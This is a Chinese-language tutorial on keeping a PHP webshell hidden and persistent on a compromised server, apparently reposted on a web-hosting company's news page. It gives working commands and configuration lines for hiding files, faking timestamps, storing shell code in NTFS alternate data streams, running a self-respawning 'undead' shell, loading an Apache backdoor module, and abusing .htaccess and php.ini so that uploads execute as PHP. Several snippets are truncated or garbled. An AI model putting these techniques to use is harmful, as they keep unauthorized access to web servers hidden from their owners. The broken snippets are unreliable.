建站
咨詢
售后
建站咨詢
新聞中心
如果想讓自己的Webshell留的更久一些，除了Webshell要免殺，還需要注意一些隱藏技巧，比如隱藏文件，修改時(shí)間屬性，隱藏文件內(nèi)容等。
澄江ssl適用于網(wǎng)站、小程序/APP、API接口等需要進(jìn)行數(shù)據(jù)傳輸應(yīng)用場景，ssl證書未來市場廣闊！成為創(chuàng)新互聯(lián)的ssl證書銷售渠道，可以享受市場價(jià)格4-6折優(yōu)惠！如果有意向歡迎電話聯(lián)系或者加微信：028-86922220（備注：SSL證書合作）期待與您的合作！
1、隱藏文件
使用Attrib +s +a +h +r命令就是把原本的文件夾增加了系統(tǒng)文件屬性、存檔文件屬性、只讀文件屬性和隱藏文件屬性。
attrib +s +a +h +r shell.php //隱藏shell.php文件
2、修改文件時(shí)間屬性
當(dāng)你試圖在一堆文件中隱藏自己新創(chuàng)建的文件，那么，除了創(chuàng)建一個(gè)迷惑性的文件名，還需要修改文件的修改日期。
//修改時(shí)間修改Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"http://訪問時(shí)間修改Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"http://創(chuàng)建時(shí)間修改Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
使用命令獲取文件屬性
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
修改某個(gè)文件夾下所有文件的創(chuàng)建和修改時(shí)間
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、利用ADS隱藏文件內(nèi)容
在服務(wù)器上echo一個(gè)數(shù)據(jù)流文件進(jìn)去，比如index.php是網(wǎng)頁正常文件，我們可以這樣子搞：
echo ^ > index.php:hidden.jpg
這樣子就生成了一個(gè)不可見的shell hidden.jpg，常規(guī)的文件管理器、type命令，dir命令、del命令發(fā)現(xiàn)都找不出那個(gè)hidden.jpg的。
利用include函數(shù)，將index.php:hidden.jpg進(jìn)行hex編碼，把這個(gè)ADS文件include進(jìn)去，這樣子就可以正常解析我們的一句話了。
4、不死馬
不死馬會(huì)刪除自身，以進(jìn)程的形式循環(huán)創(chuàng)建隱蔽的后門。
'); //創(chuàng)建shell.php，這里最好用免殺的一句話 sleep(10); //間隔時(shí)間}?>
處理方式最簡單有效的辦法，就是重啟服務(wù)就可以刪除webshell文件。
5、中間件后門
將編譯好的so文件復(fù)制到modules文件夾，啟動(dòng)后門模塊，重啟Apache。當(dāng)發(fā)送特定參數(shù)的字符串過去時(shí)，即可觸發(fā)后門。
github項(xiàng)目地址：
https://github.com/VladRico/apache2_BackdoorMod
6、利用404頁面隱藏后門
404頁面主要用來提升用戶體驗(yàn)，可用來隱藏后門文件。
The requested URL was not found on this server.
7、利用 .htaccess 文件構(gòu)成PHP后門
一般.htaccess可以用來留后門和針對(duì)黑名單繞過，在上傳目錄創(chuàng)建.htaccess 文件寫入，無需重啟即可生效，上傳png文件解析。
AddType application/x-httpd-php .png
另外，在.htaccess 加入php解析規(guī)則，把文件名包含1的解析成php，上傳1.txt即可解析。
SetHandler application/x-httpd-php
8、利用 php.ini 隱藏后門文件
php.ini 中可以指定在主文件執(zhí)行前后自動(dòng)解析的文件名稱，常用于頁面公共頭部和尾部，也可以用來隱藏php后門。
;在PHP文檔之前自動(dòng)添加文件。auto_prepend_file = "c:\tmp.txt";在PHP文檔之后自動(dòng)添加文件。auto_prepend_file = "c:\tmp.txt"
需重啟服務(wù)生效，訪問任意一個(gè)php文件即可獲取webshell。
標(biāo)題名稱：PHP后門隱藏技巧
鏈接URL：http://www.5511xx.com/article/djcsjpe.html
